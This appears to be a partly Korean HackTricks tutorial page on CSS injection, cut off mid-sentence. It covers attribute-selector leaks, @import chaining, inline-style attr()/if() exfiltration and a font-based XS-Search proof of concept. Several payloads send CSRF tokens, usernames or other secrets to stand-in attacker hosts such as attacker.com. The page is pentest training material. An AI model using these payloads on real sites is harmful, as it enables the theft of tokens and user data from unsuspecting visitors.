CSS Injection

Reading time: 23 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

CSS Injection

LESS Code Injection

LESS는 변수, mixin, 함수와 강력한 @import 지시자를 추가하는 인기 있는 CSS 전처리기입니다. 컴파일 과정에서 LESS 엔진은 @import 문에서 참조된 리소스를 가져오고 (inline) 옵션이 사용될 때 그 내용을 결과 CSS에 인라인으로 삽입합니다.

{{#ref}} less-code-injection.md {{/ref}}

Attribute Selector

CSS selectors는 input 요소의 name 및 value 속성 값과 일치하도록 작성됩니다. 만약 input 요소의 value 속성이 특정 문자로 시작하면, 미리 정의된 외부 리소스가 로드됩니다:

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

하지만 이 방법은 hidden input 요소 (type="hidden")를 다룰 때 제한이 있습니다. 숨겨진 요소는 배경을 로드하지 않기 때문입니다.

숨겨진 요소 우회

이 제한을 우회하려면 ~ general sibling combinator를 사용해 이후의 형제 요소를 타깃할 수 있습니다. 그러면 CSS 규칙이 hidden input 요소 뒤에 오는 모든 형제 요소에 적용되어 배경 이미지가 로드됩니다:

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

이 기술을 악용한 실전 예시는 제공된 코드 스니펫에 자세히 설명되어 있습니다. You can view it here.

CSS Injection의 사전 요구사항

For the CSS Injection technique to be effective, certain conditions must be met:

  1. Payload Length: CSS Injection 벡터는 조작된 선택자들을 담을 수 있을 만큼 충분히 긴 payload를 지원해야 합니다.
  2. CSS Re-evaluation: 페이지를 iframe으로 로드할 수 있는 능력이 있어야 하며, 이는 새로 생성된 payload로 CSS의 재평가를 트리거하는 데 필요합니다.
  3. External Resources: 이 기법은 외부에 호스팅된 이미지를 사용할 수 있는 것을 전제로 합니다. 이는 사이트의 Content Security Policy (CSP)에 의해 제한될 수 있습니다.

Blind Attribute Selector

As explained in this post, 선택자 :has:not을 결합하면 내용을 볼 수 없는 요소(블라인드 요소)에서도 콘텐츠를 식별할 수 있습니다. 이는 CSS injection을 로드하는 웹 페이지 내부에 무엇이 있는지 전혀 모를 때 매우 유용합니다.\
동일한 유형의 여러 블록에서 정보를 추출하는 데에도 해당 선택자들을 사용할 수 있습니다. 다음과 같이:

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

이것을 다음의 @import 기법과 결합하면, blind 페이지에서 CSS injection을 사용해 많은 info를 exfiltrate할 수 있습니다 blind-css-exfiltration.

@import

이전 기법에는 몇 가지 단점이 있으니, prerequisites를 확인하세요. 당신은 피해자에게 여러 링크를 보낼 수 있어야 하거나, 또는 CSS injection 취약 페이지를 iframe할 수 있어야 합니다.

그러나, 기술의 품질을 향상시키기 위해 CSS @import 를 사용하는 또 다른 영리한 기법이 있습니다.

이것은 처음으로 Pepe Vila 가 보여줬으며, 방식은 다음과 같습니다:

이전처럼 동일한 페이지를 매번 수십 개의 서로 다른 payload로 반복해서 로드하는 대신 (이전 사례처럼), 우리는 페이지를 한 번만 로드하고 load the page just once and just with an import to the attackers server (이것이 피해자에게 보낼 payload입니다):

css
@import url("//attacker.com:5001/start?");
  1. import는 공격자로부터 일부 CSS 스크립트를 수신하고 브라우저가 이를 로드합니다.
  2. 공격자가 보낼 CSS 스크립트의 첫 번째 부분은 다시 공격자 서버로의 또 다른 @import입니다.
  3. 공격자 서버는 아직 이 요청에 응답하지 않을 것입니다. 우리는 몇 개의 문자를 leak한 후 이 import에 대해 다음 문자들을 leak하기 위한 payload로 응답하기를 원하기 때문입니다.
  4. payload의 두 번째이자 더 큰 부분은 attribute selector leakage payload가 될 것입니다
  5. 이것은 공격자 서버로 비밀의 첫 번째 문자와 마지막 문자를 전송할 것입니다
  6. 공격자 서버가 비밀의 첫 번째와 마지막 문자를 수신하면, 2단계에서 요청된 import에 응답할 것입니다.
  7. 응답은 2, 3, 4단계와 정확히 동일할 것이지만, 이번에는 비밀의 두 번째 문자와 끝에서 두 번째 문자를 찾으려고 할 것입니다.

공격자는 f그 루프를 따라가며 비밀을 완전히 leak할 때까지 진행합니다.

You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.

tip

The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:

css /* value^= to match the beggining of the value*/ input[value^="0"] { --s0: url(http://localhost:5001/leak?pre=0); }

/* value$= to match the ending of the value*/ input[value$="f"] { --e0: url(http://localhost:5001/leak?post=f); }

This allows the script to leak the secret faster.

warning

Sometimes the script doesn't detect correctly that the prefix + suffix discovered is already the complete flag and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.
No worries, just check the 출력 because you can see the flag there.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.

warning

Equality comparisons in if() require double quotes for string literals. Single quotes will not match.

  • Sink: control an element's style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes).
  • Read: copy the attribute into a CSS variable: --val: attr(title).
  • Decide: select a URL using nested conditionals comparing the variable with string candidates: --steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: apply background: image-set(var(--steal)) (or any fetching property) to force a request to the chosen endpoint.

Attempt (does not work; single quotes in comparison):

html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

작동하는 payload (비교 시 쌍따옴표 필요):

html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

중첩된 조건문을 사용한 속성 값 열거:

html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

현실적인 데모 (사용자 이름 탐색):

html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Notes and limitations:

  • 연구 시점에는 Chromium 기반 브라우저에서 작동함; 다른 엔진에서는 동작이 다를 수 있음.
  • 유한/열거 가능한 값 공간(IDs, flags, 짧은 사용자명 등)에 가장 적합. 외부 스타일시트 없이 임의의 긴 문자열을 훔치는 것은 여전히 어려움.
  • URL을 가져오는 모든 CSS 속성은 요청을 트리거하는 데 사용될 수 있음 (예: background/image-set, border-image, list-style, cursor, content).

Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Other selectors

DOM 일부에 접근하는 다른 방법(CSS selectors):

  • .class-to-search:nth-child(2): DOM에서 class가 "class-to-search"인 두 번째 항목을 찾음.
  • :empty selector: Used for example in this writeup:

css [role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

참고: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

전체 목적은 제어되는 엔드포인트에서 커스텀 폰트를 사용하고 텍스트(이 경우, 'A')가 지정된 리소스(favicon.ico)를 로드할 수 없을 때에만 이 폰트로 표시되도록 보장하는 것이다.

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. 커스텀 폰트 사용:
  • 섹션의